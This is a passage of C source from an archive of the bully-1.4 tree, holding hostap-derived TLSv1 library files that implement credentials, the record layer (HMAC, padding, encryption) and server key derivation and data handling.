* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef TLSV1_CRED_H
#define TLSV1_CRED_H
struct tlsv1_credentials {
struct x509_certificate *trusted_certs;
struct x509_certificate *cert;
struct crypto_private_key *key;
/* Diffie-Hellman parameters */
u8 *dh_p; /* prime */
size_t dh_p_len;
u8 *dh_g; /* generator */
size_t dh_g_len;
};
struct tlsv1_credentials * tlsv1_cred_alloc(void);
void tlsv1_cred_free(struct tlsv1_credentials *cred);
int tlsv1_set_ca_cert(struct tlsv1_credentials *cred, const char *cert,
const u8 *cert_blob, size_t cert_blob_len,
const char *path);
int tlsv1_set_cert(struct tlsv1_credentials *cred, const char *cert,
const u8 *cert_blob, size_t cert_blob_len);
int tlsv1_set_private_key(struct tlsv1_credentials *cred,
const char *private_key,
const char *private_key_passwd,
const u8 *private_key_blob,
size_t private_key_blob_len);
int tlsv1_set_dhparams(struct tlsv1_credentials *cred, const char *dh_file,
const u8 *dh_blob, size_t dh_blob_len);
#endif /* TLSV1_CRED_H */
bully-1.4-00/src/tls/tlsv1_record.c 0000775 0000000 0000000 00000026507 13615304636 0017112 0 ustar 00root root 0000000 0000000 /*
* TLSv1 Record Protocol
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto/md5.h"
#include "crypto/sha1.h"
#include "tlsv1_common.h"
#include "tlsv1_record.h"
/**
* tlsv1_record_set_cipher_suite - TLS record layer: Set cipher suite
* @rl: Pointer to TLS record layer data
* @cipher_suite: New cipher suite
* Returns: 0 on success, -1 on failure
*
* This function is used to prepare TLS record layer for cipher suite change.
* tlsv1_record_change_write_cipher() and
* tlsv1_record_change_read_cipher() functions can then be used to change the
* currently used ciphers.
*/
int tlsv1_record_set_cipher_suite(struct tlsv1_record_layer *rl,
u16 cipher_suite)
{
const struct tls_cipher_suite *suite;
const struct tls_cipher_data *data;
wpa_printf(MSG_DEBUG, "TLSv1: Selected cipher suite: 0x%04x",
cipher_suite);
rl->cipher_suite = cipher_suite;
suite = tls_get_cipher_suite(cipher_suite);
if (suite == NULL)
return -1;
if (suite->hash == TLS_HASH_MD5) {
rl->hash_alg = CRYPTO_HASH_ALG_HMAC_MD5;
rl->hash_size = MD5_MAC_LEN;
} else if (suite->hash == TLS_HASH_SHA) {
rl->hash_alg = CRYPTO_HASH_ALG_HMAC_SHA1;
rl->hash_size = SHA1_MAC_LEN;
}
data = tls_get_cipher_data(suite->cipher);
if (data == NULL)
return -1;
rl->key_material_len = data->key_material;
rl->iv_size = data->block_size;
rl->cipher_alg = data->alg;
return 0;
}
/**
* tlsv1_record_change_write_cipher - TLS record layer: Change write cipher
* @rl: Pointer to TLS record layer data
* Returns: 0 on success (cipher changed), -1 on failure
*
* This function changes TLS record layer to use the new cipher suite
* configured with tlsv1_record_set_cipher_suite() for writing.
*/
int tlsv1_record_change_write_cipher(struct tlsv1_record_layer *rl)
{
wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - New write cipher suite "
"0x%04x", rl->cipher_suite);
rl->write_cipher_suite = rl->cipher_suite;
os_memset(rl->write_seq_num, 0, TLS_SEQ_NUM_LEN);
if (rl->write_cbc) {
crypto_cipher_deinit(rl->write_cbc);
rl->write_cbc = NULL;
}
if (rl->cipher_alg != CRYPTO_CIPHER_NULL) {
rl->write_cbc = crypto_cipher_init(rl->cipher_alg,
rl->write_iv, rl->write_key,
rl->key_material_len);
if (rl->write_cbc == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize "
"cipher");
return -1;
}
}
return 0;
}
/**
* tlsv1_record_change_read_cipher - TLS record layer: Change read cipher
* @rl: Pointer to TLS record layer data
* Returns: 0 on success (cipher changed), -1 on failure
*
* This function changes TLS record layer to use the new cipher suite
* configured with tlsv1_record_set_cipher_suite() for reading.
*/
int tlsv1_record_change_read_cipher(struct tlsv1_record_layer *rl)
{
wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - New read cipher suite "
"0x%04x", rl->cipher_suite);
rl->read_cipher_suite = rl->cipher_suite;
os_memset(rl->read_seq_num, 0, TLS_SEQ_NUM_LEN);
if (rl->read_cbc) {
crypto_cipher_deinit(rl->read_cbc);
rl->read_cbc = NULL;
}
if (rl->cipher_alg != CRYPTO_CIPHER_NULL) {
rl->read_cbc = crypto_cipher_init(rl->cipher_alg,
rl->read_iv, rl->read_key,
rl->key_material_len);
if (rl->read_cbc == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize "
"cipher");
return -1;
}
}
return 0;
}
/**
* tlsv1_record_send - TLS record layer: Send a message
* @rl: Pointer to TLS record layer data
* @content_type: Content type (TLS_CONTENT_TYPE_*)
* @buf: Buffer to send (with TLS_RECORD_HEADER_LEN octets reserved in the
* beginning for record layer to fill in; payload filled in after this and
* extra space in the end for HMAC).
* @buf_size: Maximum buf size
* @payload_len: Length of the payload
* @out_len: Buffer for returning the used buf length
* Returns: 0 on success, -1 on failure
*
* This function fills in the TLS record layer header, adds HMAC, and encrypts
* the data using the current write cipher.
*/
int tlsv1_record_send(struct tlsv1_record_layer *rl, u8 content_type, u8 *buf,
size_t buf_size, size_t payload_len, size_t *out_len)
{
u8 *pos, *ct_start, *length, *payload;
struct crypto_hash *hmac;
size_t clen;
pos = buf;
/* ContentType type */
ct_start = pos;
*pos++ = content_type;
/* ProtocolVersion version */
WPA_PUT_BE16(pos, TLS_VERSION);
pos += 2;
/* uint16 length */
length = pos;
WPA_PUT_BE16(length, payload_len);
pos += 2;
/* opaque fragment[TLSPlaintext.length] */
payload = pos;
pos += payload_len;
if (rl->write_cipher_suite != TLS_NULL_WITH_NULL_NULL) {
hmac = crypto_hash_init(rl->hash_alg, rl->write_mac_secret,
rl->hash_size);
if (hmac == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed "
"to initialize HMAC");
return -1;
}
crypto_hash_update(hmac, rl->write_seq_num, TLS_SEQ_NUM_LEN);
/* type + version + length + fragment */
crypto_hash_update(hmac, ct_start, pos - ct_start);
clen = buf + buf_size - pos;
if (clen < rl->hash_size) {
wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Not "
"enough room for MAC");
crypto_hash_finish(hmac, NULL, NULL);
return -1;
}
if (crypto_hash_finish(hmac, pos, &clen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed "
"to calculate HMAC");
return -1;
}
wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Write HMAC",
pos, clen);
pos += clen;
if (rl->iv_size) {
size_t len = pos - payload;
size_t pad;
pad = (len + 1) % rl->iv_size;
if (pad)
pad = rl->iv_size - pad;
if (pos + pad + 1 > buf + buf_size) {
wpa_printf(MSG_DEBUG, "TLSv1: No room for "
"block cipher padding");
return -1;
}
os_memset(pos, pad, pad + 1);
pos += pad + 1;
}
if (crypto_cipher_encrypt(rl->write_cbc, payload,
payload, pos - payload) < 0)
return -1;
}
WPA_PUT_BE16(length, pos - length - 2);
inc_byte_array(rl->write_seq_num, TLS_SEQ_NUM_LEN);
*out_len = pos - buf;
return 0;
}
/**
* tlsv1_record_receive - TLS record layer: Process a received message
* @rl: Pointer to TLS record layer data
* @in_data: Received data
* @in_len: Length of the received data
* @out_data: Buffer for output data (must be at least as long as in_data)
* @out_len: Set to maximum out_data length by caller; used to return the
* length of the used data
* @alert: Buffer for returning an alert value on failure
* Returns: 0 on success, -1 on failure
*
* This function decrypts the received message, verifies HMAC and TLS record
* layer header.
*/
int tlsv1_record_receive(struct tlsv1_record_layer *rl,
const u8 *in_data, size_t in_len,
u8 *out_data, size_t *out_len, u8 *alert)
{
size_t i, rlen, hlen;
u8 padlen;
struct crypto_hash *hmac;
u8 len[2], hash[100];
wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Received",
in_data, in_len);
if (in_len < TLS_RECORD_HEADER_LEN) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short record (in_len=%lu)",
(unsigned long) in_len);
*alert = TLS_ALERT_DECODE_ERROR;
return -1;
}
wpa_printf(MSG_DEBUG, "TLSv1: Received content type %d version %d.%d "
"length %d", in_data[0], in_data[1], in_data[2],
WPA_GET_BE16(in_data + 3));
if (in_data[0] != TLS_CONTENT_TYPE_HANDSHAKE &&
in_data[0] != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC &&
in_data[0] != TLS_CONTENT_TYPE_ALERT &&
in_data[0] != TLS_CONTENT_TYPE_APPLICATION_DATA) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type 0x%x",
in_data[0]);
*alert = TLS_ALERT_UNEXPECTED_MESSAGE;
return -1;
}
if (WPA_GET_BE16(in_data + 1) != TLS_VERSION) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version "
"%d.%d", in_data[1], in_data[2]);
*alert = TLS_ALERT_PROTOCOL_VERSION;
return -1;
}
rlen = WPA_GET_BE16(in_data + 3);
/* TLSCiphertext must not be more than 2^14+2048 bytes */
if (TLS_RECORD_HEADER_LEN + rlen > 18432) {
wpa_printf(MSG_DEBUG, "TLSv1: Record overflow (len=%lu)",
(unsigned long) (TLS_RECORD_HEADER_LEN + rlen));
*alert = TLS_ALERT_RECORD_OVERFLOW;
return -1;
}
in_data += TLS_RECORD_HEADER_LEN;
in_len -= TLS_RECORD_HEADER_LEN;
if (rlen > in_len) {
wpa_printf(MSG_DEBUG, "TLSv1: Not all record data included "
"(rlen=%lu > in_len=%lu)",
(unsigned long) rlen, (unsigned long) in_len);
*alert = TLS_ALERT_DECODE_ERROR;
return -1;
}
in_len = rlen;
if (*out_len < in_len) {
wpa_printf(MSG_DEBUG, "TLSv1: Not enough output buffer for "
"processing received record");
*alert = TLS_ALERT_INTERNAL_ERROR;
return -1;
}
os_memcpy(out_data, in_data, in_len);
*out_len = in_len;
if (rl->read_cipher_suite != TLS_NULL_WITH_NULL_NULL) {
if (crypto_cipher_decrypt(rl->read_cbc, out_data,
out_data, in_len) < 0) {
*alert = TLS_ALERT_DECRYPTION_FAILED;
return -1;
}
if (rl->iv_size) {
if (in_len == 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short record"
" (no pad)");
*alert = TLS_ALERT_DECODE_ERROR;
return -1;
}
padlen = out_data[in_len - 1];
if (padlen >= in_len) {
wpa_printf(MSG_DEBUG, "TLSv1: Incorrect pad "
"length (%u, in_len=%lu) in "
"received record",
padlen, (unsigned long) in_len);
*alert = TLS_ALERT_DECRYPTION_FAILED;
return -1;
}
for (i = in_len - padlen; i < in_len; i++) {
if (out_data[i] != padlen) {
wpa_hexdump(MSG_DEBUG,
"TLSv1: Invalid pad in "
"received record",
out_data + in_len - padlen,
padlen);
*alert = TLS_ALERT_DECRYPTION_FAILED;
return -1;
}
}
*out_len -= padlen + 1;
}
wpa_hexdump(MSG_MSGDUMP,
"TLSv1: Record Layer - Decrypted data",
out_data, in_len);
if (*out_len < rl->hash_size) {
wpa_printf(MSG_DEBUG, "TLSv1: Too short record; no "
"hash value");
*alert = TLS_ALERT_INTERNAL_ERROR;
return -1;
}
*out_len -= rl->hash_size;
hmac = crypto_hash_init(rl->hash_alg, rl->read_mac_secret,
rl->hash_size);
if (hmac == NULL) {
wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed "
"to initialize HMAC");
*alert = TLS_ALERT_INTERNAL_ERROR;
return -1;
}
crypto_hash_update(hmac, rl->read_seq_num, TLS_SEQ_NUM_LEN);
/* type + version + length + fragment */
crypto_hash_update(hmac, in_data - TLS_RECORD_HEADER_LEN, 3);
WPA_PUT_BE16(len, *out_len);
crypto_hash_update(hmac, len, 2);
crypto_hash_update(hmac, out_data, *out_len);
hlen = sizeof(hash);
if (crypto_hash_finish(hmac, hash, &hlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed "
"to calculate HMAC");
return -1;
}
if (hlen != rl->hash_size ||
os_memcmp(hash, out_data + *out_len, hlen) != 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Invalid HMAC value in "
"received message");
*alert = TLS_ALERT_BAD_RECORD_MAC;
return -1;
}
}
/* TLSCompressed must not be more than 2^14+1024 bytes */
if (TLS_RECORD_HEADER_LEN + *out_len > 17408) {
wpa_printf(MSG_DEBUG, "TLSv1: Record overflow (len=%lu)",
(unsigned long) (TLS_RECORD_HEADER_LEN + *out_len));
*alert = TLS_ALERT_RECORD_OVERFLOW;
return -1;
}
inc_byte_array(rl->read_seq_num, TLS_SEQ_NUM_LEN);
return 0;
}
bully-1.4-00/src/tls/tlsv1_record.h 0000775 0000000 0000000 00000004077 13615304636 0017115 0 ustar 00root root 0000000 0000000 /*
* TLSv1 Record Protocol
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef TLSV1_RECORD_H
#define TLSV1_RECORD_H
#include "crypto/crypto.h"
#define TLS_MAX_WRITE_MAC_SECRET_LEN 20
#define TLS_MAX_WRITE_KEY_LEN 32
#define TLS_MAX_IV_LEN 16
#define TLS_MAX_KEY_BLOCK_LEN (2 * (TLS_MAX_WRITE_MAC_SECRET_LEN + \
TLS_MAX_WRITE_KEY_LEN + TLS_MAX_IV_LEN))
#define TLS_SEQ_NUM_LEN 8
#define TLS_RECORD_HEADER_LEN 5
/* ContentType */
enum {
TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC = 20,
TLS_CONTENT_TYPE_ALERT = 21,
TLS_CONTENT_TYPE_HANDSHAKE = 22,
TLS_CONTENT_TYPE_APPLICATION_DATA = 23
};
struct tlsv1_record_layer {
u8 write_mac_secret[TLS_MAX_WRITE_MAC_SECRET_LEN];
u8 read_mac_secret[TLS_MAX_WRITE_MAC_SECRET_LEN];
u8 write_key[TLS_MAX_WRITE_KEY_LEN];
u8 read_key[TLS_MAX_WRITE_KEY_LEN];
u8 write_iv[TLS_MAX_IV_LEN];
u8 read_iv[TLS_MAX_IV_LEN];
size_t hash_size;
size_t key_material_len;
size_t iv_size; /* also block_size */
enum crypto_hash_alg hash_alg;
enum crypto_cipher_alg cipher_alg;
u8 write_seq_num[TLS_SEQ_NUM_LEN];
u8 read_seq_num[TLS_SEQ_NUM_LEN];
u16 cipher_suite;
u16 write_cipher_suite;
u16 read_cipher_suite;
struct crypto_cipher *write_cbc;
struct crypto_cipher *read_cbc;
};
int tlsv1_record_set_cipher_suite(struct tlsv1_record_layer *rl,
u16 cipher_suite);
int tlsv1_record_change_write_cipher(struct tlsv1_record_layer *rl);
int tlsv1_record_change_read_cipher(struct tlsv1_record_layer *rl);
int tlsv1_record_send(struct tlsv1_record_layer *rl, u8 content_type, u8 *buf,
size_t buf_size, size_t payload_len, size_t *out_len);
int tlsv1_record_receive(struct tlsv1_record_layer *rl,
const u8 *in_data, size_t in_len,
u8 *out_data, size_t *out_len, u8 *alert);
#endif /* TLSV1_RECORD_H */
bully-1.4-00/src/tls/tlsv1_server.c 0000775 0000000 0000000 00000037244 13615304636 0017142 0 ustar 00root root 0000000 0000000 /*
* TLSv1 server (RFC 2246)
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto/sha1.h"
#include "crypto/tls.h"
#include "tlsv1_common.h"
#include "tlsv1_record.h"
#include "tlsv1_server.h"
#include "tlsv1_server_i.h"
/* TODO:
* Support for a message fragmented across several records (RFC 2246, 6.2.1)
*/
void tlsv1_server_alert(struct tlsv1_server *conn, u8 level, u8 description)
{
conn->alert_level = level;
conn->alert_description = description;
}
int tlsv1_server_derive_keys(struct tlsv1_server *conn,
const u8 *pre_master_secret,
size_t pre_master_secret_len)
{
u8 seed[2 * TLS_RANDOM_LEN];
u8 key_block[TLS_MAX_KEY_BLOCK_LEN];
u8 *pos;
size_t key_block_len;
if (pre_master_secret) {
wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: pre_master_secret",
pre_master_secret, pre_master_secret_len);
os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN);
os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random,
TLS_RANDOM_LEN);
if (tls_prf(pre_master_secret, pre_master_secret_len,
"master secret", seed, 2 * TLS_RANDOM_LEN,
conn->master_secret, TLS_MASTER_SECRET_LEN)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive "
"master_secret");
return -1;
}
wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: master_secret",
conn->master_secret, TLS_MASTER_SECRET_LEN);
}
os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN);
os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN);
key_block_len = 2 * (conn->rl.hash_size + conn->rl.key_material_len +
conn->rl.iv_size);
if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN,
"key expansion", seed, 2 * TLS_RANDOM_LEN,
key_block, key_block_len)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive key_block");
return -1;
}
wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: key_block",
key_block, key_block_len);
pos = key_block;
/* client_write_MAC_secret */
os_memcpy(conn->rl.read_mac_secret, pos, conn->rl.hash_size);
pos += conn->rl.hash_size;
/* server_write_MAC_secret */
os_memcpy(conn->rl.write_mac_secret, pos, conn->rl.hash_size);
pos += conn->rl.hash_size;
/* client_write_key */
os_memcpy(conn->rl.read_key, pos, conn->rl.key_material_len);
pos += conn->rl.key_material_len;
/* server_write_key */
os_memcpy(conn->rl.write_key, pos, conn->rl.key_material_len);
pos += conn->rl.key_material_len;
/* client_write_IV */
os_memcpy(conn->rl.read_iv, pos, conn->rl.iv_size);
pos += conn->rl.iv_size;
/* server_write_IV */
os_memcpy(conn->rl.write_iv, pos, conn->rl.iv_size);
pos += conn->rl.iv_size;
return 0;
}
/**
* tlsv1_server_handshake - Process TLS handshake
* @conn: TLSv1 server connection data from tlsv1_server_init()
* @in_data: Input data from TLS peer
* @in_len: Input data length
* @out_len: Length of the output buffer.
* Returns: Pointer to output data, %NULL on failure
*/
u8 * tlsv1_server_handshake(struct tlsv1_server *conn,
const u8 *in_data, size_t in_len,
size_t *out_len)
{
const u8 *pos, *end;
u8 *msg = NULL, *in_msg, *in_pos, *in_end, alert, ct;
size_t in_msg_len;
if (in_data == NULL || in_len == 0) {
wpa_printf(MSG_DEBUG, "TLSv1: No input data to server");
return NULL;
}
pos = in_data;
end = in_data + in_len;
in_msg = os_malloc(in_len);
if (in_msg == NULL)
return NULL;
/* Each received packet may include multiple records */
while (pos < end) {
in_msg_len = in_len;
if (tlsv1_record_receive(&conn->rl, pos, end - pos,
in_msg, &in_msg_len, &alert)) {
wpa_printf(MSG_DEBUG, "TLSv1: Processing received "
"record failed");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert);
goto failed;
}
ct = pos[0];
in_pos = in_msg;
in_end = in_msg + in_msg_len;
/* Each received record may include multiple messages of the
* same ContentType. */
while (in_pos < in_end) {
in_msg_len = in_end - in_pos;
if (tlsv1_server_process_handshake(conn, ct, in_pos,
&in_msg_len) < 0)
goto failed;
in_pos += in_msg_len;
}
pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3);
}
os_free(in_msg);
in_msg = NULL;
msg = tlsv1_server_handshake_write(conn, out_len);
failed:
os_free(in_msg);
if (conn->alert_level) {
if (conn->state == FAILED) {
/* Avoid alert loops */
wpa_printf(MSG_DEBUG, "TLSv1: Drop alert loop");
os_free(msg);
return NULL;
}
conn->state = FAILED;
os_free(msg);
msg = tlsv1_server_send_alert(conn, conn->alert_level,
conn->alert_description,
out_len);
}
return msg;
}
/**
* tlsv1_server_encrypt - Encrypt data into TLS tunnel
* @conn: TLSv1 server connection data from tlsv1_server_init()
* @in_data: Pointer to plaintext data to be encrypted
* @in_len: Input buffer length
* @out_data: Pointer to output buffer (encrypted TLS data)
* @out_len: Maximum out_data length
* Returns: Number of bytes written to out_data, -1 on failure
*
* This function is used after TLS handshake has been completed successfully to
* send data in the encrypted tunnel.
*/
int tlsv1_server_encrypt(struct tlsv1_server *conn,
const u8 *in_data, size_t in_len,
u8 *out_data, size_t out_len)
{
size_t rlen;
wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Plaintext AppData",
in_data, in_len);
os_memcpy(out_data + TLS_RECORD_HEADER_LEN, in_data, in_len);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_APPLICATION_DATA,
out_data, out_len, in_len, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
return rlen;
}
/**
* tlsv1_server_decrypt - Decrypt data from TLS tunnel
* @conn: TLSv1 server connection data from tlsv1_server_init()
* @in_data: Pointer to input buffer (encrypted TLS data)
* @in_len: Input buffer length
* @out_data: Pointer to output buffer (decrypted data from TLS tunnel)
* @out_len: Maximum out_data length
* Returns: Number of bytes written to out_data, -1 on failure
*
* This function is used after TLS handshake has been completed successfully to
* receive data from the encrypted tunnel.
*/
int tlsv1_server_decrypt(struct tlsv1_server *conn,
const u8 *in_data, size_t in_len,
u8 *out_data, size_t out_len)
{
const u8 *in_end, *pos;
int res;
u8 alert, *out_end, *out_pos;
size_t olen;
pos = in_data;
in_end = in_data + in_len;
out_pos = out_data;
out_end = out_data + out_len;
while (pos < in_end) {
if (pos[0] != TLS_CONTENT_TYPE_APPLICATION_DATA) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type "
"0x%x", pos[0]);
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
olen = out_end - out_pos;
res = tlsv1_record_receive(&conn->rl, pos, in_end - pos,
out_pos, &olen, &alert);
if (res < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Record layer processing "
"failed");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert);
return -1;
}
out_pos += olen;
if (out_pos > out_end) {
wpa_printf(MSG_DEBUG, "TLSv1: Buffer not large enough "
"for processing the received record");
tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3);
}
return out_pos - out_data;
}
/**
* tlsv1_server_global_init - Initialize TLSv1 server
* Returns: 0 on success, -1 on failure
*
* This function must be called before using any other TLSv1 server functions.
*/
int tlsv1_server_global_init(void)
{
return crypto_global_init();
}
/**
* tlsv1_server_global_deinit - Deinitialize TLSv1 server
*
* This function can be used to deinitialize the TLSv1 server that was
* initialized by calling tlsv1_server_global_init(). No TLSv1 server functions
* can be called after this before calling tlsv1_server_global_init() again.
*/
void tlsv1_server_global_deinit(void)
{
crypto_global_deinit();
}
/**
* tlsv1_server_init - Initialize TLSv1 server connection
* @cred: Pointer to server credentials from tlsv1_server_cred_alloc()
* Returns: Pointer to TLSv1 server connection data or %NULL on failure
*/
struct tlsv1_server * tlsv1_server_init(struct tlsv1_credentials *cred)
{
struct tlsv1_server *conn;
size_t count;
u16 *suites;
conn = os_zalloc(sizeof(*conn));
if (conn == NULL)
return NULL;
conn->cred = cred;
conn->state = CLIENT_HELLO;
if (tls_verify_hash_init(&conn->verify) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize verify "
"hash");
os_free(conn);
return NULL;
}
count = 0;
suites = conn->cipher_suites;
#ifndef CONFIG_CRYPTO_INTERNAL
suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA;
#endif /* CONFIG_CRYPTO_INTERNAL */
suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA;
suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA;
suites[count++] = TLS_RSA_WITH_RC4_128_SHA;
suites[count++] = TLS_RSA_WITH_RC4_128_MD5;
conn->num_cipher_suites = count;
return conn;
}
static void tlsv1_server_clear_data(struct tlsv1_server *conn)
{
tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL);
tlsv1_record_change_write_cipher(&conn->rl);
tlsv1_record_change_read_cipher(&conn->rl);
tls_verify_hash_free(&conn->verify);
crypto_public_key_free(conn->client_rsa_key);
conn->client_rsa_key = NULL;
os_free(conn->session_ticket);
conn->session_ticket = NULL;
conn->session_ticket_len = 0;
conn->use_session_ticket = 0;
os_free(conn->dh_secret);
conn->dh_secret = NULL;
conn->dh_secret_len = 0;
}
/**
* tlsv1_server_deinit - Deinitialize TLSv1 server connection
* @conn: TLSv1 server connection data from tlsv1_server_init()
*/
void tlsv1_server_deinit(struct tlsv1_server *conn)
{
tlsv1_server_clear_data(conn);
os_free(conn);
}
/**
* tlsv1_server_established - Check whether connection has been established
* @conn: TLSv1 server connection data from tlsv1_server_init()
* Returns: 1 if connection is established, 0 if not
*/
int tlsv1_server_established(struct tlsv1_server *conn)
{
return conn->state == ESTABLISHED;
}
/**
* tlsv1_server_prf - Use TLS-PRF to derive keying material
* @conn: TLSv1 server connection data from tlsv1_server_init()
* @label: Label (e.g., description of the key) for PRF
* @server_random_first: seed is 0 = client_random|server_random,
* 1 = server_random|client_random
* @out: Buffer for output data from TLS-PRF
* @out_len: Length of the output buffer
* Returns: 0 on success, -1 on failure
*/
int tlsv1_server_prf(struct tlsv1_server *conn, const char *label,
int server_random_first, u8 *out, size_t out_len)
{
u8 seed[2 * TLS_RANDOM_LEN];
if (conn->state != ESTABLISHED)
return -1;
if (server_random_first) {
os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN);
os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random,
TLS_RANDOM_LEN);
} else {
os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN);
os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random,
TLS_RANDOM_LEN);
}
return tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN,
label, seed, 2 * TLS_RANDOM_LEN, out, out_len);
}
/**
* tlsv1_server_get_cipher - Get current cipher name
* @conn: TLSv1 server connection data from tlsv1_server_init()
* @buf: Buffer for the cipher name
* @buflen: buf size
* Returns: 0 on success, -1 on failure
*
* Get the name of the currently used cipher.
*/
int tlsv1_server_get_cipher(struct tlsv1_server *conn, char *buf,
size_t buflen)
{
char *cipher;
switch (conn->rl.cipher_suite) {
case TLS_RSA_WITH_RC4_128_MD5:
cipher = "RC4-MD5";
break;
case TLS_RSA_WITH_RC4_128_SHA:
cipher = "RC4-SHA";
break;
case TLS_RSA_WITH_DES_CBC_SHA:
cipher = "DES-CBC-SHA";
break;
case TLS_RSA_WITH_3DES_EDE_CBC_SHA:
cipher = "DES-CBC3-SHA";
break;
case TLS_DH_anon_WITH_AES_128_CBC_SHA:
cipher = "ADH-AES-128-SHA";
break;
case TLS_RSA_WITH_AES_256_CBC_SHA:
cipher = "AES-256-SHA";
break;
case TLS_RSA_WITH_AES_128_CBC_SHA:
cipher = "AES-128-SHA";
break;
default:
return -1;
}
if (os_strlcpy(buf, cipher, buflen) >= buflen)
return -1;
return 0;
}
/**
* tlsv1_server_shutdown - Shutdown TLS connection
* @conn: TLSv1 server connection data from tlsv1_server_init()
* Returns: 0 on success, -1 on failure
*/
int tlsv1_server_shutdown(struct tlsv1_server *conn)
{
conn->state = CLIENT_HELLO;
if (tls_verify_hash_init(&conn->verify) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to re-initialize verify "
"hash");
return -1;
}
tlsv1_server_clear_data(conn);
return 0;
}
/**
* tlsv1_server_resumed - Was session resumption used
* @conn: TLSv1 server connection data from tlsv1_server_init()
* Returns: 1 if current session used session resumption, 0 if not
*/
int tlsv1_server_resumed(struct tlsv1_server *conn)
{
return 0;
}
/**
* tlsv1_server_get_keys - Get master key and random data from TLS connection
* @conn: TLSv1 server connection data from tlsv1_server_init()
* @keys: Structure of key/random data (filled on success)
* Returns: 0 on success, -1 on failure
*/
int tlsv1_server_get_keys(struct tlsv1_server *conn, struct tls_keys *keys)
{
os_memset(keys, 0, sizeof(*keys));
if (conn->state == CLIENT_HELLO)
return -1;
keys->client_random = conn->client_random;
keys->client_random_len = TLS_RANDOM_LEN;
if (conn->state != SERVER_HELLO) {
keys->server_random = conn->server_random;
keys->server_random_len = TLS_RANDOM_LEN;
keys->master_key = conn->master_secret;
keys->master_key_len = TLS_MASTER_SECRET_LEN;
}
return 0;
}
/**
* tlsv1_server_get_keyblock_size - Get TLS key_block size
* @conn: TLSv1 server connection data from tlsv1_server_init()
* Returns: Size of the key_block for the negotiated cipher suite or -1 on
* failure
*/
int tlsv1_server_get_keyblock_size(struct tlsv1_server *conn)
{
if (conn->state == CLIENT_HELLO || conn->state == SERVER_HELLO)
return -1;
return 2 * (conn->rl.hash_size + conn->rl.key_material_len +
conn->rl.iv_size);
}
/**
* tlsv1_server_set_cipher_list - Configure acceptable cipher suites
* @conn: TLSv1 server connection data from tlsv1_server_init()
* @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers
* (TLS_CIPHER_*).
* Returns: 0 on success, -1 on failure
*/
